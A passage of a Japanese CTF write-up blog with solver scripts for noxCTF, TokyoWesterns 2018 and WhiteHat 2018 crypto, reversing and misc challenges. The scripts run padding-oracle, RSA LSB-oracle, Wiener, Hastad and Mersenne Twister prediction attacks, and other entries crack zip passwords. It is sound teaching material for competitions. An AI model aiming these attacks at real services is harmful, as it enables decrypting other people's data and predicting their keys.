7b1a62cb17160448d544ff674f978876d2a4418ff9cfc32e9eda41ed566617a034c34091f19dbe650fdb11e7aa5744a48709b61a44a499c213dc19eb092fd8282e5ec69051d3adba84129571143e14e14be7f63bd8cdb42a4eedfb62570ed7eaef8002c3f6f3267079833effe836d8e10e0f01bcbd2470b2c0c10b59d1aa260a
Not gonna happen.

復号してくれるシステムだが、問題の暗号だけは復号してくれない。LSB decryption oracle attackで復号する。

from fractions import Fraction
import socket

def lsb_oracle(enc):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('chal.noxale.com', 4242))
    data = s.recv(1024)
    print data + enc
    s.sendall(enc + '\n')
    data = s.recv(1024)
    print data
    return int(data, 16) % 2

N = 140165355674296399459239442258630641339281917770736077969396713192714338090714726890918178888723629353043167144351074222216025145349467583141291274172356560132771690830020353668100494447956043734613525952945037667879068512918232837185005693504551982611886445611514773529698595162274883360353962852882911457919
c = 86445915530920147553767348020686132564453377048106098831426077547738998373682256014690928256854752252580894971618956714013602556152722531577337080534714463052378206442086672725486411296963581166836329721403101091377505869510101752378162287172126836920825099014089297075416142603776647872962582390687281063434
e = 65537

bounds = [0, Fraction(N)]

i = 0
m = 0
while True:
    print 'Round %d' % (i+1)
    i += 1

    c2 = (c * pow(2, e, N)) % N
    ct2 = '%x' % c2
    lsb = lsb_oracle(ct2)
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator
    if diff == 0:
        m = bounds[1].numerator / bounds[1].denominator
        break
    c = c2

flag = ('%x' % m).decode('hex')
print flag
noxCTF{0u7sm4r73d}

Plot Twist (Crypto)

鍵を予測し、当たっていれば、フラグが表示される。間違っていると、鍵を教えてくれる。Mersenne Twisterの性質から鍵を予測する。

import socket
import re
import random

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.noxale.com', 5115))

N = 624
state = []
for i in range(N):
    tmp_key = '1234567890123456'
    data = recvuntil(s, '\n')
    print data + tmp_key
    s.sendall(tmp_key)
    data = recvuntil(s, '\n')
    print data
    pattern = 'The key was: (.+)'
    m = re.search(pattern, data)
    key =  int(m.group(1))
    state.append(untemper(key))

state.append(N)
random.setstate([3, tuple(state), None])

real_key = str(random.getrandbits(32)).rjust(16, '0')
data = recvuntil(s, '\n')
print data + real_key
s.sendall(real_key)
data = recvuntil(s, '\n')
print data
noxCTF{41w4ys_us3_cryp70_s3cur3d_PRNGs}

Trinity (Crypto)

RSA暗号でHastad's broadcast attackで復号する問題と推測。eは3のはず。そのままHastad's broadcast attackをしても復号できない。よく見るとN,cの値が0~4しか使われていない。5進数表記となっているとみて、Hastad's broadcast attackで復号する。

import functools

def chinese_remainder(n, a):
    sum = 0
    prod = functools.reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        sum += a_i * mul_inv(p, n_i) * p
    return sum % prod
 
def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a%b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0: x1 += b0
    return x1

def inv_pow(c, e):
    low = -1
    high = c+1
    while low + 1 < high:
        m = (low + high) // 2
        p = pow(m, e)
        if p < c:
            low = m
        else:
            high = m
    m = high
    assert pow(m, e) == c
    return m

N1 = 331310324212000030020214312244232222400142410423413104441140203003243002104333214202031202212403400220031202142322434104143104244241214204444443323000244130122022422310201104411044030113302323014101331214303223312402430402404413033243132101010422240133122211400434023222214231402403403200012221023341333340042343122302113410210110221233241303024431330001303404020104442443120130000334110042432010203401440404010003442001223042211442001413004
c1 = 310020004234033304244200421414413320341301002123030311202340222410301423440312412440240244110200112141140201224032402232131204213012303204422003300004011434102141321223311243242010014140422411342304322201241112402132203101131221223004022003120002110230023341143201404311340311134230140231412201333333142402423134333211302102413111111424430032440123340034044314223400401224111323000242234420441240411021023100222003123214343030122032301042243

N2 = 302240000040421410144422133334143140011011044322223144412002220243001141141114123223331331304421113021231204322233120121444434210041232214144413244434424302311222143224402302432102242132244032010020113224011121043232143221203424243134044314022212024343100042342002432331144300214212414033414120004344211330224020301223033334324244031204240122301242232011303211220044222411134403012132420311110302442344021122101224411230002203344140143044114
c2 = 112200203404013430330214124004404423210041321043000303233141423344144222343401042200334033203124030011440014210112103234440312134032123400444344144233020130110134042102220302002413321102022414130443041144240310121020100310104334204234412411424420321211112232031121330310333414423433343322024400121200333330432223421433344122023012440013041401423202210124024431040013414313121123433424113113414422043330422002314144111134142044333404112240344

N3 = 332200324410041111434222123043121331442103233332422341041340412034230003314420311333101344231212130200312041044324431141033004333110021013020140020011222012300020041342040004002220210223122111314112124333211132230332124022423141214031303144444134403024420111423244424030030003340213032121303213343020401304243330001314023030121034113334404440421242240113103203013341231330004332040302440011324004130324034323430143102401440130242321424020323
c3 = 10013444120141130322433204124002242224332334011124210012440241402342100410331131441303242011002101323040403311120421304422222200324402244243322422444414043342130111111330022213203030324422101133032212042042243101434342203204121042113212104212423330331134311311114143200011240002111312122234340003403312040401043021433112031334324322123304112340014030132021432101130211241134422413442312013042141212003102211300321404043012124332013240431242

N = [int(str(N1), 5), int(str(N2), 5), int(str(N3), 5)]
C = [int(str(c1), 5), int(str(c2), 5), int(str(c3), 5)]
e = len(N)
a = chinese_remainder(N, C)
for n, c in zip(N, C):
    assert a % n == c
m = inv_pow(a, e)
flag = ('%x' % m).decode('hex')
print flag
noxCTF{D4mn_y0u_h4s74d_wh47_4_b100dy_b4s74rd!}

WTF (Crypto)

N,e,cに使われている文字を見てみる。

['A', 'B', 'E', 'g', 'l', 'O', 'S', 'b', 'T', 'Z']

10個あり、leet文字として0~9にあてはめられる。

0: O
1: l
2: Z
3: E
4: A
5: S
6: b
7: T
8: B
9: g

N,e,cを通常の数値に変換すると、eの値が大きいので、Wiener's Attackで復号する。

from fractions import Fraction

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return hex(pt)[2:-1].decode('hex')

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n/e))
        N = n
        n = e
        e = N%e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1,len(cf)+1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1/(tmp+j)
        kd.append((tmp.numerator,tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n/prev)/2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a,b):
    if a*a < 4*b or a < 0:
        return None
    c = int_sqrt(a*a-4*b)
    p = (a + c) /2
    q = (a - c) /2
    if p + q == a and p * q == b:
        return (p,q)
    else:
        return None

def wiener(n,e):
    kd = calcKD(continued_fractions(n,e))
    for (k,d) in kd:
        if k == 0:
            continue
        if (e*d-1) % k != 0:
            continue
        phin = (e*d-1) / k
        if phin >= n:
            continue
        ans = calcPQ(n-phin+1,n)
        if ans is None:
            continue
        return (ans[0],ans[1])

def leet_to_long(s):
    d = ''
    for c in s:
        d += leets[c]
    return long(d)

N = 'lObAbAbSBlZOOEBllOEbblTlOAbOlTSBATZBbOSAEZTZEAlSOggTggbTlEgBOgSllEEOEZZOSSAOlBlAgBBBBbbOOSSTOTEOllbZgElgbZSZbbSTTOEBZZSBBEEBTgESEgAAAlAOAEbTZBZZlOZSOgBAOBgOAZEZbOBZbETEOSBZSSElSSZlbBSgbTBOTBSBBSOZOAEBEBZEZASbOgZBblbblTSbBTObAElTSTOlSTlATESEEbSTBOlBlZOlAOETAZAgTBTSAEbETZOlElBEESObbTOOlgAZbbOTBOBEgAOBAbZBObBTg'

e = 'lBlbSbTASTTSZTEASTTEBOOAEbEbOOOSBAgABTbZgSBAZAbBlBBEAZlBlEbSSSETAlSOlAgAOTbETAOTSZAZBSbOlOOZlZTETAOSSSlTZOElOOABSZBbZTSAZSlASTZlBBEbEbOEbSTAZAZgAgTlOTSEBEAlObEbbgZBlgOEBTBbbSZAZBBSSZBOTlTEAgBBSZETAbBgEBTATgOZBTllOOSSTlSSTOSSZSZAgSZATgbSOEOTgTTOAABSZEZBEAZBOOTTBSgSZTZbOTgZTTElSOATOAlbBZTBlOTgOSlETgTBOglgETbT'

c = 'SOSBOEbgOZTZBEgZAOSTTSObbbbTOObETTbBAlOSBbABggTOBSObZBbbggggZZlbBblgEABlATBESZgASBbOZbASbAAOZSSgbAOZlEgTAlgblBTbBSTAEBgEOEbgSZgSlgBlBSZOObSlgAOSbbOOgEbllAAZgBATgEAZbBEBOAAbZTggbOEZSSBOOBZZbAAlTBgBOglTSSESOTbbSlTAZATEOZbgbgOBZBBBBTBTOSBgEZlOBTBSbgbTlZBbbOBbTSbBASBTlglSEAEgTOSOblAbEgBAbOlbOETAEZblSlEllgTTbbgb'

leets = {'O': '0', 'l': '1', 'Z': '2', 'E': '3', 'A': '4',
    'S': '5', 'b': '6', 'T': '7', 'B': '8', 'g': '9'}

N = leet_to_long(N)
e = leet_to_long(e)
c = leet_to_long(c)

p, q = wiener(N, e)

flag = decrypt(p, q, e, c)
print flag
noxCTF{RSA_1337_10rd}

Java Corporation (Crypto)

CBC Padding oracle attackで復号する。

import socket

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def unpad(s):
    return s[0:-ord(s[-1])]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.noxale.com', 3141))

with open('Encrypted.txt', 'rb') as f:
    ciphertext = f.read()

blocks = [ciphertext[i:i+16] for i in range(0, len(ciphertext), 16)]
print blocks


flags = []
for i in range(len(blocks)-1, 0, -1):
    pre_block = blocks[i-1]
    flag_block = ''
    for j in range(16):
        for code in range(256):
            print 'flag_block = %s(%s)' % (flag_block, flag_block.encode('hex'))
            try_iv = '\x00' * (16 - j - 1) + chr(code) + str_xor(str_xor(flag_block, chr(j+1)*j), pre_block[-j:])
            try_cipher = try_iv + blocks[i]
            send_length = str(len(try_cipher))
            print send_length
            s.sendall(send_length)
            print try_cipher
            s.sendall(try_cipher)
            data = s.recv(1)
            print data
            if data == '1':
                xor_code = (j + 1) ^ code ^ ord(pre_block[-j-1])
                flag_block = chr(xor_code) + flag_block
                print flag_block
                break
    flags.append(flag_block)

flags.reverse()
flag = unpad(''.join(flags))
print flag
noxCTF{0n3_p4d_2_f4r}

TokyoWesterns CTF 4th 2018 Writeup

この大会は2018/9/1 9:00(JST)~2018/9/3 9:00(JST)に開催されました。
今回もチームで参戦。結果は748点で810チーム中73位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome!! (warmup)

問題にフラグが書いてある。

TWCTF{Welcome_TokyoWesterns_CTF_2018!!}

scs7 (warmup, crypto)

$ nc crypto.chal.ctf.westerns.tokyo 14791
encrypted flag: Lp4uky56vYPMXQFF8UKebFyXDSqzTA8559WQutXcsVrfr2DAwBpeB4Rfs0c8rBNF
You can encrypt up to 100 messages.

message:  
ciphertext: k

message: !
ciphertext: j

message: "
ciphertext: G

message: #
ciphertext: Y

message: $
ciphertext: q

message: %
ciphertext: e

message: &
ciphertext: i

message: '
ciphertext: Z

message: (
ciphertext: t

message: )
ciphertext: f

message: *
ciphertext: U

message: +
ciphertext: W

message: ,
ciphertext: 0

message: -
ciphertext: B

message: .
ciphertext: R

message: /
ciphertext: m

message: 0
ciphertext: b

message: 1
ciphertext: x

message: 2
ciphertext: p

message: 3
ciphertext: 1

message: 4
ciphertext: T

message: 5
ciphertext: D

message: 6
ciphertext: F

message: 7
ciphertext: d

message: 8
ciphertext: K

message: 9
ciphertext: N

message: :
ciphertext: S

message: ;
ciphertext: vh

message: <
ciphertext: vv

message: =
ciphertext: va

message: >
ciphertext: v4

message: ?
ciphertext: vQ

message: @
ciphertext: v7

message: A
ciphertext: vM

message: B
ciphertext: vn

message: C
ciphertext: vA

message: D
ciphertext: vJ

message: E
ciphertext: vP

message: F
ciphertext: v6

message: G
ciphertext: v8

message: H
ciphertext: vL

message: I
ciphertext: v3

message: J
ciphertext: v2

message: K
ciphertext: vs

message: L
ciphertext: vu

message: M
ciphertext: vw

message: N
ciphertext: v9

message: O
ciphertext: vz

message: P
ciphertext: vX

message: Q
ciphertext: vc

message: R
ciphertext: vg

message: S
ciphertext: vr

message: T
ciphertext: vC

message: U
ciphertext: vV

message: V
ciphertext: vE

message: W
ciphertext: vH

message: X
ciphertext: v5

message: Y
ciphertext: vo

message: Z
ciphertext: vy

message: [
ciphertext: vk

message: \
ciphertext: vj

message: ]
ciphertext: vG

message: ^
ciphertext: vY

message: _
ciphertext: vq

message: `
ciphertext: ve

message: a
ciphertext: vi

message: b
ciphertext: vZ

message: c
ciphertext: vt

message: d
ciphertext: vf

message: e
ciphertext: vU

message: f
ciphertext: vW

message: g
ciphertext: v0

message: h
ciphertext: vB

message: i
ciphertext: vR

message: j
ciphertext: vm

message: k
ciphertext: vb

message: l
ciphertext: vx

message: m
ciphertext: vp

message: n
ciphertext: v1

message: o
ciphertext: vT

message: p
ciphertext: vD

message: q
ciphertext: vF

message: r
ciphertext: vd

message: s
ciphertext: vK

message: t
ciphertext: vN

message: u
ciphertext: vS

message: v
ciphertext: ah

message: w
ciphertext: av

message: x
ciphertext: aa

message: y
ciphertext: a4

message: z
ciphertext: aQ

message: {
ciphertext: a7

message: |
ciphertext: aM

message: }
ciphertext: an

message: ~
ciphertext: aA

スクリプトを作って、ASCII文字を何回か暗号化を試してみると、この順番に規則性があることに気づいた。
上記の場合は以下の順番になっている。

kjGYqeiZtfUW0BRmbxp1TDFdKNShva4Q7MnAJP68L32suw9zXcgrCVEH5oy

";"で必ず2バイトになり、"v"で1文字目が変わる。
使われている文字は以下の59種類。

0123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz

Base59のエンコードという感じだが、テーブルの順番は都度変わるので、テーブルを割り出してから、デコードすればフラグを復号できる。

import socket
import re

def decrypt(tbl, s):
    l = len(tbl)
    val = 0
    for i in range(len(s)):
        val += tbl.index(s[i]) * (l ** (len(s) - i - 1))

    dec = ''
    while True:
        val, remain = val / 256, val % 256
        dec = chr(remain) + dec
        if val == 0:
            break
    return dec

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.ctf.westerns.tokyo', 14791))

data = s.recv(1024)
print data
pattern = 'encrypted flag: (.+)\nYou'
m = re.search(pattern, data, re.DOTALL)
enc_flag = m.group(1)

tbl = ''
for code in range(ord(';'), ord('v')):
    data = s.recv(1024)
    print data + chr(code)
    s.sendall(chr(code) + '\n')
    data = s.recv(1024)
    print data
    pattern = 'ciphertext: (.+)\n'
    m = re.search(pattern, data)
    tbl += m.group(1)[1]

flag = decrypt(tbl, enc_flag)
print flag
TWCTF{67ced5346146c105075443add26fd7efd72763dd}

mixed cipher (crypto)

処理概要は以下の通り。

1.encrypt
・RSA暗号(hex表記)
・AES暗号(hex表記)(iv付き)

2.decrypt
・RSA復号
・最後の文字を除き、'#'にされる。

3.print_flag
・フラグをAES暗号して表示
・ivは'#'にされる。

4.print_key
・AESの暗号鍵をRSA暗号して表示

複数の問題が織り交ざった問題。方針は以下のとおり。

1.特定のデータを送り込み、その結果からRSA暗号のnを算出する。
2.LSB decryption oracle attackでRSA暗号化されたAES暗号鍵を復号する。
3.ivはgetrandbitsで生成されているので、Mersenne Twisterの機構を使っている。
 このことから、AES暗号のivを予測する。
4.2.と3.で得られた暗号鍵とivを使ってフラグを復号する。

コードにすると以下の通りで、フラグが得られる。

import socket
import random
from fractions import Fraction
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes

BLOCK_SIZE = 16

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
    gcd = b
    return gcd, x, y

def lsb_oracle(s, enc):
    print '2'
    s.sendall('2\n')
    data = recvuntil(s, 'text: ')
    print data + enc
    s.sendall(enc + '\n')
    data = recvuntil(s, 'key\n')
    print data
    dec = int(data.split('\n')[1][-2:], 16)
    return dec % 2

def unpad(s):
    n = ord(s[-1])
    return s[:-n]

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

def aes_decrypt(aeskey, aesiv, s):
    iv = aesiv
    aes = AES.new(aeskey, AES.MODE_CBC, iv)
    return unpad(aes.decrypt(s[BLOCK_SIZE:]))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('crypto.chal.ctf.westerns.tokyo', 5643))

data = recvuntil(s, 'key\n')
print data

#### calculate n ####
try_rsa_enc = []
for m in [2, 4, 16]:
    print '1'
    s.sendall('1\n')
    data = recvuntil(s, 'text: ')
    print data + chr(m)
    s.sendall(chr(m) + '\n')
    data = recvuntil(s, 'key\n')
    print data
    enc = data.split('\n')[0].split(' ')[1]
    try_rsa_enc.append(int(enc, 16))

diff1 = (try_rsa_enc[0]) ** 2 - try_rsa_enc[1]
diff2 = (try_rsa_enc[1]) ** 2 - try_rsa_enc[2]

n, _, _ = egcd(diff1, diff2)
e = 65537

#### get encrypted key ####
print '4'
s.sendall('4\n')
data = recvuntil(s, 'key\n')
print data
enc_key = data.split('\n')[1]

#### calculate key ####
c = int(enc_key, 16)
bounds = [0, Fraction(n)]

i = 0
while True:
    print 'Round %d' % (i+1)
    i += 1

    c2 = (c * pow(2, e, n)) % n
    h2 = '%x' % c2
    if len(h2) % 2 == 1:
        h2 = '0' + h2
    lsb = lsb_oracle(s, h2)
    if lsb == 1:
        bounds[0] = sum(bounds)/2
    else:
        bounds[1] = sum(bounds)/2
    diff = bounds[1] - bounds[0]
    diff = diff.numerator / diff.denominator

    if diff == 0:
        m = bounds[1].numerator / bounds[1].denominator
        break
    c = c2

aeskey = long_to_bytes(m, 16)

#### get iv (Mersenne Twister) ###
N = 624
state = []
for i in range(N / 4):
    print '1'
    s.sendall('1\n')
    data = recvuntil(s, 'text: ')
    print data + '0'
    s.sendall('0' + '\n')
    data = recvuntil(s, 'key\n')
    print data
    enc = data.split('\n')[1].split(' ')[1]
    iv = int(enc[:BLOCK_SIZE*2], 16)
    state.append(untemper(iv & 0xffffffff))
    state.append(untemper((iv >> 32) & 0xffffffff))
    state.append(untemper((iv >> 64) & 0xffffffff))
    state.append(untemper((iv >> 96) & 0xffffffff))

state.append(N)
random.setstate([3, tuple(state), None])

aesiv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16)

#### get encrypted flag ####
print '3'
s.sendall('3\n')
data = recvuntil(s, 'key\n')
print data

enc_flag = data.split('\n')[2]
flag = aes_decrypt(aeskey, aesiv, enc_flag.decode('hex'))
print flag
TWCTF{L#B_de#r#pti#n_ora#le_c9630b129769330c9498858830f306d9}

mondai.zip (warmup, misc)

パスワード付きzipファイルを解凍することを繰り返す問題。この問題は、他のメンバが途中まで解いていたものの続きで、後半のみを自分で解いた。
最初はzipファイルのファイル名(拡張子を除く)がパスワードになっていた。

y0k0s0

このパスワードで展開すると、パスワード付きzipファイルの他にpcapngファイルが入っている。
192.168.11.5宛の通信のデータ長を見て、文字にする。

データ長:87, 101, 49, 99, 111, 109, 101
→ We1come

このパスワードで展開すると、パスワード付きzipファイルの他にlist.txtというランダムな文字列のリストが入っている。ここからは自分で解いた部分。このリストはパスワード候補のリストと考え、クラックする。

$ fcrackzip -u -D -p list.txt mondai.zip 


PASSWORD FOUND!!!!: pw == eVjbtTpvkU

このパスワードで展開すると、1c9ed78bab3f2d33140cbce7ea223894というファイル名のファイルが入っているだけ。このファイル名をパスワードのmd5の値と考え、逆変換する。

happyhappyhappy

このパスワードで展開すると、パスワード付きzipファイルの他にREADME.txtがあり、password is too short と書いてある。今度のzipパスワードは短いようなので、またまたfcrackzipで攻める。

$ fcrackzip -u -l 1-4 mondai.zip 


PASSWORD FOUND!!!!: pw == to

このパスワードで展開すると、パスワード付きzipファイルの他にsecret.txtがあり、次のように書いてある。

Congratulation!
You got my secret!

Please replace as follows:
(1) = first password
(2) = second password
(3) = third password
...

TWCTF{(2)_(5)_(1)_(4)_(3)}

これまで出てきたパスワードをsecret.txtに記載されている順番に組み立てる。

TWCTF{We1come_to_y0k0s0_happyhappyhappy_eVjbtTpvkU}

WhiteHat Grand Prix 2018 – Quals Writeup

この大会は2018/8/18 11:00(JST)~2018/8/19 11:00(JST)に開催されました。
今回もチームで参戦。結果は460点で361チーム中45位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome(10)

URLのページにアクセスして、slackにログインすると、メッセージにフラグが書いてあった。
f:id:satou-y:20180822205321p:plain

WhiteHat{WelcometoGrandPrix2018}

misc02 (Misc)

isoファイルが添付されている。FTK Imagerで開く。
以下をエクスポートしてみる。

・/CDROM/ETC/MAIL/PRIVATE.ASC
・/CDROM/ETC/MAIL/ENCRYPT.PYC
・/MAILDIR/CUR/15334499.com

まずはENCRYPT.PYCをデコンパイルする。

# Embedded file name: ./encrypt.py
import struct
import sys
import base64
password_enc = 'JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA'
if len(sys.argv) != 2:
    print 'Usage: %s data' % sys.argv[0]
    exit(0)
data = sys.argv[1]
padding = 4 - len(data) % 4
if padding != 0:
    data = data + '\x00' * padding
result = []
blocks = struct.unpack('I' * (len(data) / 4), data)
for block in blocks:
    result += [block ^ block >> 16]

output = ''
for block in result:
    output += struct.pack('I', block)

print base64.b64encode(output)

パスワードを復号してみる。

import struct
import base64

password_enc = 'JTd1XyoIbmc3PWhpOjhfVhsIbmcAAAAA'
enc = base64.b64decode(password_enc)

result = struct.unpack('I' * (len(enc) / 4), enc)
blocks = []
for res in result:
    blocks += [res ^ res >> 16]
data = ''
for block in blocks:
    data += struct.pack('I', block)

password = data.replace('\x00', '')
print password

パスワードは Phu_Dong_Thien_Vuong。
ASCファイルがあったこともあり、15334499.comのメールから添付ファイルSaintGiong.jpg.pgpを取り出す。これを復号する際にこのパスワードを使う。

$ gpg --import PRIVATE.ASC
gpg: 鍵4BA9AFA0: 秘密鍵をインポートしました
gpg: 鍵4BA9AFA0: 公開鍵"whitehat <whitehat@bkav.vn>"をインポートしました
gpg: 鍵4BA9AFA0:"whitehat <whitehat@bkav.vn>"変更なし
gpg: 処理数の合計: 2
gpg:               インポート: 1
gpg:              変更なし: 1
gpg:       秘密鍵の読み込み: 1
gpg:   秘密鍵のインポート: 1

$ gpg SaintGiong.jpg.pgp 

次のユーザの秘密鍵のロックを解除するには
パスフレーズがいります:"whitehat <whitehat@bkav.vn>"
512ビットELG-E鍵, ID F0EE4293作成日付は2018-08-05 (主鍵ID 4BA9AFA0)

gpg: *警告*: 暗号アルゴリズムCAST5は受取人の優先指定に入っていません
gpg: 512-ビットELG-E鍵, ID F0EE4293, 日付2018-08-05に暗号化されました
      "whitehat <whitehat@bkav.vn>"

SaintGiong.jpgが取り出せた。あとはヒントにもあったが、outguessで秘密情報を取り出す。

$ outguess -r SaintGiong.jpg secret.txt
Reading SaintGiong.jpg....
Extracting usable bits:   65209 bits
Steg retrieve: seed: 70, len: 3388
$ cat secret.txt
While the sixth Hung Vuong Dynasty, our country, then called Van Lang was under the menace of the An , situated in the North of Vietnam’s borders.
Hung Vuong King was very worried and assembled his court to prepare a plan of defense for the country. A mandarin of the civil service reminded the King that the original founding King of the country, Lac Long Quan  had instructed that if the country were ever to face danger, it should pray for his help.
In that situation, the King then invoked the spirit of the founding King. 
Three days later, a very old man appeared in the midst of a storm and said that he was Lac Long Quan himself. He prophesied that in three years the An from the North would try to invade the country; he advised that the King should send messengers all over the country to seek help from talented people, and that thereafter a general sent from heaven would come to save the country.
Event though three years later, indeed came the tempestuous foreign armies trying to take over the Southern Kingdom. At the capital city of Phong Chau, King Hung Vuong still remembered the instruction from Lac Long Quan.
However Even earlier than, at the village of Phu Dong, County of Vo Ninh, Province of Bac Ninh, a woman in her sixties reported she had seen footprints of a giant in the field. 
Amazed, she tried to fit her feet in the footprints and suddenly felt that she was overcome by an unusual feeling. 
Thereafter she became pregnant and delivered a boy whom she named Giong. Even at the age of three, Giong was not able to crawl, to roll over, or to say a single word.
Surprisingly, at the news of the messenger from the King, Giong suddenly sat up and spoke to his mother, asking her to invite the messenger over to their home. 
He then instructed the messenger to request the King to build a horse and a sword of iron for him so that he could go and chase the invaders away.
When the horse and sword were eventually brought to his home, Giong stood up on his feet, stretched his shoulders, became a giant of colossal proportions, and asked his mother for food and new clothing. 
She cooked many pots of rice for him but it was not enough for his appetite. The whole village brought over their whole supply of fabric and it was still not enough for his size.
Giong put his helmet on, carried his sword, jumped on the back of his horse and rode away, as fast as a hurricane. The iron horse suddenly spit fire, and brought Giong to the front line at the speed of lightning. The invaders saw Giong like a punishing angel overwhelming them. 
Their armies were incinerated by the flame thrown from the horse's mouth. Their generals were decapitated by Giong’s sword. When it finally broke because of so much use, Giong used the bamboo trees that he pulled up from the sides of the road and wiped away the enemies.
Afterwards, he left his armor on the mountain Soc (Soc Son) and both man and horse flew into the sky.
Legend holds that lakes in the area of mountain Soc were created from the footprints of Giong’s horse. At the site of the forest where he incinerated the enemy armies is now the Chay Village ("Chay" meaning burned).
In recognition of Giong's achievement, King Hung Vuong proclaimed him Phu Dong Thien Vuong (The Heaven Sent King of Phu Dong Village). For the people of his country, he is better known as Thanh Giong ("Saint" Giong)

フラグは含まれていないが、行頭をつなげるとWHITEHAT...となっている。つなげてもあまり意味のあるフレーズではないが、このままフラグのルールに従い、答えてみる。

WHITEHATSHWSGTALI

このsha1の結果をsubmitしたら通った。

$ echo -n WHITEHATSHWSGTALI | sha1sum
05cc532353023d5954da9507e189a55296f6db97  -
WhiteHat{05cc532353023d5954da9507e189a55296f6db97}

re06 (Rev)

$ file reverse.exe 
reverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

ILSpyでデコンパイルすると、key(入力データ)を暗号化して比較していることがわかる。関係するコードは以下の部分。

public static string Enc(string s, int e, int n)
{
	int[] array = new int[s.Length];
	for (int i = 0; i < s.Length; i++)
	{
		array[i] = (int)s[i];
	}
	int[] array2 = new int[array.Length];
	for (int i = 0; i < array.Length; i++)
	{
		array2[i] = MainWindow.mod(array[i], e, n);
	}
	string text = "";
	for (int i = 0; i < array.Length; i++)
	{
		text += (char)array2[i];
	}
	return Convert.ToBase64String(Encoding.Unicode.GetBytes(text));
}

public static int mod(int m, int e, int n)
{
	int[] array = new int[100];
	int num = 0;
	do
	{
		array[num] = e % 2;
		num++;
		e /= 2;
	}
	while (e > 0);
	int num2 = 1;
	for (int i = num - 1; i >= 0; i--)
	{
		num2 = num2 * num2 % n;
		bool flag = array[i] == 1;
		if (flag)
		{
			num2 = num2 * m % n;
		}
	}
	return num2;
}

private void btn_check_Click(object sender, RoutedEventArgs e)
{
	string text = this.tb_key.Text;
	string a = MainWindow.Enc(text, 9157, 41117);
	bool flag = a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ=";
	if (flag)
	{
		MessageBox.Show("Correct!! You found FLAG");
	}
	else
	{
		MessageBox.Show("Try again!");
	}
}

暗号化しているが先頭から一文字ずつ変換しているので、ブルートフォースで復号する。

import struct

def mod(m, e, n):
    array = []
    num = 0
    while e > 0:
        array.append(e % 2)
        num += 1
        e /= 2

    num2 = 1
    for i in range(num-1, -1, -1):
        num2 = num2 * num2 % n
        flag = (array[i] == 1)
        if flag:
            num2 = num2 * m % n

    return num2

enc = 'iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ='
enc = enc.decode('base64')

flag = ''
for i in range(0, len(enc), 2):
    for code in range(32, 127):
        enc_val = struct.unpack('H', enc[i:i+2])[0]
        if mod(code, 9157, 41117) == enc_val:
            flag += chr(code)
            break

print flag

復号結果は以下の通り。

WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}
$ echo -n N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r | sha1sum
be1f21d22d6ca5854be238772c7ac594eadc5ab0  -
WhiteHat{be1f21d22d6ca5854be238772c7ac594eadc5ab0}

misc04 (Misc)

$ nc misc04.grandprix.whitehatvn.com 1337
